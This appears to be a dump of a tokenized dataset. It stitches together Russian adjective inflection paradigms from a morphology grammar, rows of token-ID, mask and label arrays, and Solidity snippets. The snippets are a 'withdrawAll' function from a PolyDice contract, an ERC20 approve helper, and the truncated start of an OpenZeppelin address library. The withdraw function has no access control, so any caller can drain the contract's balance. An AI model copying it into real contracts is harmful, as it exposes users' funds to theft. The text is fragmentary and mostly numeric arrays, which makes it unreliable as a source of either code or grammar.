ЧИСЛО:ЕД РОД { "%-2%+ЬИМ" "%-2%+ЬЕЙ" "%-2%+ЬИМ" } // ОХОТНИЧЬИМ ОХОТНИЧЬЕЙ ОХОТНИЧЬИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЬЕЮ" } // ОХОТНИЧЬЕЮ
ЧИСЛО:МН { "%-2%+ЬИМИ" } // ОХОТНИЧЬИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ОХОТНИЧИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЬЮ" } // ОХОТНИЧЬЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЬЕ" } // ОХОТНИЧЬЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЬЕГО" } // ОХОТНИЧЬЕГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЬИХ" } // ОХОТНИЧЬИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЬИ" } // ОХОТНИЧЬИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЬЕМУ" "%-2%+ЬЕЙ" "%-2%+ЬЕМУ" } // ОХОТНИЧЬЕМУ ОХОТНИЧЬЕЙ ОХОТНИЧЬЕМУ
ЧИСЛО:МН { "%-2%+ЬИМ" } // ОХОТНИЧЬИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЬЕМ" "%-2%+ЬЕЙ" "%-2%+ЬЕМ" } // ОХОТНИЧЬЕМ ОХОТНИЧЬЕЙ ОХОТНИЧЬЕМ
ЧИСЛО:МН { "%-2%+ЬИХ" } // ОХОТНИЧЬИХ
}
}
}
} // end of paradigm 5037
// КОСОБОКИЙ
paradigm Кособокий, Прил_5038 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@аКИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // КОСОБОКИЙ КОСОБОКАЯ КОСОБОКОЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // КОСОБОКИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // КОСОБОКОГО КОСОБОКОЙ КОСОБОКОГО
ЧИСЛО:МН { "%-2%+ИХ" } // КОСОБОКИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ОЙ" "%-2%+ОМ" } // КОСОБОКИМ КОСОБОКОЙ КОСОБОКИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // КОСОБОКОЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // КОСОБОКИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // КОСОБОКИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // КОСОБОКУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // КОСОБОКОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // КОСОБОКОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // КОСОБОКИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // КОСОБОКИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // КОСОБОКОМУ КОСОБОКОЙ КОСОБОКОМУ
ЧИСЛО:МН { "%-2%+ИМ" } // КОСОБОКИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМ" "%-2%+ЕЙ" "%-2%+ЕМ" } // КОСОБОКОМ КОСОБОКОЙ КОСОБОКОМ
ЧИСЛО:МН { "%-2%+ИХ" } // КОСОБОКИХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2" "%-2%+А" "%-2%+О" } // КОСОБОК КОСОБОКА КОСОБОКО
ЧИСЛО:МН { "%-1" } // КОСОБОКИ
}
}
} // end of paradigm 5038
// ОЛЕНИЙ
paradigm Олений, Прил_5039 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@аНИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+ЬЯ" "%-2%+ЬЕ" } // ОЛЕНИЙ ОЛЕНЬЯ ОЛЕНЬЕ
ЧИСЛО:МН { "%-2%+ЬИ" } // ОЛЕНЬИ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЬЕГО" "%-2%+ЬЕЙ" "%-2%+ЬЕГО" } // ОЛЕНЬЕГО ОЛЕНЬЕЙ ОЛЕНЬЕГО
ЧИСЛО:МН { "%-1%+ЬИХ" } // ОЛЕНЬИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЬИМ" "%-2%+ЬЕЙ" "%-2%+ЬИМ" } // ОЛЕНЬИМ ОЛЕНЬЕЙ ОЛЕНЬИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЬЕЙ" } // ОЛЕНЬЕЙ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ОЛЕНИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЬЮ" } // ОЛЕНЬЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЬЕ" } // ОЛЕНЬЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЬЕГО" } // ОЛЕНЬЕГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЬИХ" } // ОЛЕНЬИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-1%+ЬИ" } // ОЛЕНЬИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЬЕМУ" "%-2%+ЬЕЙ" "%-2%+ЬЕМУ" } // ОЛЕНЬЕМУ ОЛЕНЬЕЙ ОЛЕНЬЕМУ
ЧИСЛО:МН { "%-2%+ЬИМ" } // ОЛЕНЬИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЬЕМ" "%-2%+ЬЕЙ" "%-2%+ЬЕМ" } // ОЛЕНЬЕМ ОЛЕНЬЕЙ ОЛЕНЬЕМ
ЧИСЛО:МН { "%-2%+ЬИХ" } // ОЛЕНЬИХ
}
}
}
} // end of paradigm 5039
// *********************************************************************************************
// ВЫСОКОПРОИЗВОДИТЕЛЬНЫЙ etc. - без сравнительной и превосходной степеней, но с краткой формой.
// **********************************************************************************************
paradigm Производительный, Прил_5040 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЛЬНЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // БОЛЬНОЙ БОЛЬНАЯ БОЛЬНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // БОЛЬНЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // БОЛЬНОГО БОЛЬНОЙ БОЛЬНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // БОЛЬНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // БОЛЬНЫМ БОЛЬНОЙ БОЛЬНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // БОЛЬНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // БОЛЬНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // БОЛЬНОЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // БОЛЬНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // БОЛЬНОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // БОЛЬНОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // БОЛЬНЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // БОЛЬНЫЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // БОЛЬНОМУ БОЛЬНОЙ БОЛЬНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // БОЛЬНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // БОЛЬНОМ БОЛЬНОЙ БОЛЬНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // БОЛЬНЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЕН" "%-2%+А" "%-2%+О" } // БОЛЕН БОЛЬНА БОЛЬНО
ЧИСЛО:МН { "%-2%+Ы" } // БОЛЬНЫ
}
}
} // end of paradigm 5040
paradigm Продольный, Прил_5041 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЛЬНОЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // БОЛЬНОЙ БОЛЬНАЯ БОЛЬНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // БОЛЬНЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // БОЛЬНОГО БОЛЬНОЙ БОЛЬНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // БОЛЬНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // БОЛЬНЫМ БОЛЬНОЙ БОЛЬНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // БОЛЬНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // БОЛЬНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // БОЛЬНОЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // БОЛЬНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // БОЛЬНОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // БОЛЬНОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // БОЛЬНЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // БОЛЬНЫЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // БОЛЬНОМУ БОЛЬНОЙ БОЛЬНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // БОЛЬНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // БОЛЬНОМ БОЛЬНОЙ БОЛЬНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // БОЛЬНЫХ
}
}
}
} // end of paradigm 5041
// ПЛОСКОЛИЦЫЙ
paradigm ПЛОСКОЛИЦЫЙ, Прил_5042 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЦЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ЕЕ" } // ПЛОСКОЛИЦЫЙ ПЛОСКОЛИЦАЯ ПЛОСКОЛИЦЕЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // ПЛОСКОЛИЦЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕГО" "%-2%+ЕЙ" "%-2%+ЕГО" } // ПЛОСКОЛИЦЕГО ПЛОСКОЛИЦЕЙ ПЛОСКОЛИЦЕГО
ЧИСЛО:МН { "%-2%+ЫХ" } // ПЛОСКОЛИЦЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ЕЙ" "%-2%+ЫМ" } // ПЛОСКОЛИЦЫМ ПЛОСКОЛИЦЕЙ ПЛОСКОЛИЦЫМ
ЧИСЛО:МН { "%-2%+ЫМИ" } // ПЛОСКОЛИЦЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ПЛОСКОЛИЦЫЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕГО" } // ПЛОСКОЛИЦЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ПЛОСКОЛИЦУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЕ" } // ПЛОСКОЛИЦЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // ПЛОСКОЛИЦЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // ПЛОСКОЛИЦЫЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМУ" "%-2%+ЕЙ" "%-2%+ЕМУ" } // ПЛОСКОЛИЦЕМУ ПЛОСКОЛИЦЕЙ ПЛОСКОЛИЦЕМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // ПЛОСКОЛИЦЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМ" "%-2%+ЕЙ" "%-2%+ЕМ" } // ПЛОСКОЛИЦЕМ ПЛОСКОЛИЦЕЙ ПЛОСКОЛИЦЕМ
ЧИСЛО:МН { "%-2%+ЫХ" } // ПЛОСКОЛИЦЫХ
}
}
}
} // end of paradigm Прил_5042
}
| БОЛЬШОГО БОЛЬШОЙ БОЛЬШОГО
| ЧИСЛО:ЕД РОД { "%-1%+ГО" "%-1%+Й" "%-1%+ГО" } | 14,051,358 | [
1,
145,
244,
145,
257,
145,
254,
145,
110,
145,
106,
145,
257,
145,
246,
145,
257,
225,
145,
244,
145,
257,
145,
254,
145,
110,
145,
106,
145,
257,
145,
252,
225,
145,
244,
145,
257,
145,
254,
145,
110,
145,
106,
145,
257,
145,
246,
145,
257,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
4766,
6647,
225,
145,
105,
145,
251,
145,
99,
145,
254,
145,
257,
30,
145,
248,
145,
247,
225,
145,
259,
145,
257,
145,
247,
288,
2213,
17,
21,
9,
15,
145,
246,
145,
257,
6,
2213,
17,
21,
9,
15,
145,
252,
6,
2213,
17,
21,
9,
15,
145,
246,
145,
257,
6,
289,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x33A4DC7FA425eD0a4BBbc20E3180442CCD855e86/sources/contracts/PolyDice.sol | Function to Withdraw Funds | function withdrawAll() public returns(uint){
payable(msg.sender).transfer(address(this).balance);
assert(address(this).balance == 0);
return address(this).balance;
}
| 4,731,574 | [
1,
2083,
358,
3423,
9446,
478,
19156,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
1595,
1435,
1071,
225,
1135,
12,
11890,
15329,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
2934,
13866,
12,
2867,
12,
2211,
2934,
12296,
1769,
203,
3639,
1815,
12,
2867,
12,
2211,
2934,
12296,
422,
374,
1769,
203,
3639,
327,
1758,
12,
2211,
2934,
12296,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x3e4B8e57A329862806A1D17517eC2f9Fee29986c/sources/browser/bbase.sol | * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. This method is included for ERC20 compatibility. increaseAllowance and decreaseAllowance should be used instead. Changing an allowance with this method brings the risk that someone may transfer both the old and the new allowance - if they are both greater than zero - if a transfer transaction is mined before the later approve() call is mined. @param spender The address which will spend the funds. @param value The amount of tokens to be spent./ | function _approve(address owner, address spender, uint256 value) private {
_allowedFragments[owner][spender] = value;
emit Approval(owner, spender, value);
}
| 3,865,491 | [
1,
12053,
537,
326,
2275,
1758,
358,
17571,
326,
1269,
3844,
434,
2430,
603,
12433,
6186,
434,
1234,
18,
15330,
18,
1220,
707,
353,
5849,
364,
4232,
39,
3462,
8926,
18,
10929,
7009,
1359,
471,
20467,
7009,
1359,
1410,
506,
1399,
3560,
18,
1680,
18183,
392,
1699,
1359,
598,
333,
707,
5186,
899,
326,
18404,
716,
18626,
2026,
7412,
3937,
326,
1592,
471,
326,
394,
1699,
1359,
300,
309,
2898,
854,
3937,
6802,
2353,
3634,
300,
309,
279,
7412,
2492,
353,
1131,
329,
1865,
326,
5137,
6617,
537,
1435,
745,
353,
1131,
329,
18,
225,
17571,
264,
1021,
1758,
1492,
903,
17571,
326,
284,
19156,
18,
225,
460,
1021,
3844,
434,
2430,
358,
506,
26515,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
12908,
537,
12,
2867,
3410,
16,
1758,
17571,
264,
16,
2254,
5034,
460,
13,
3238,
288,
203,
3639,
389,
8151,
27588,
63,
8443,
6362,
87,
1302,
264,
65,
273,
460,
31,
203,
3639,
3626,
1716,
685,
1125,
12,
8443,
16,
17571,
264,
16,
460,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: MIT AND AGPL-3.0-or-later
pragma solidity =0.8.9;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
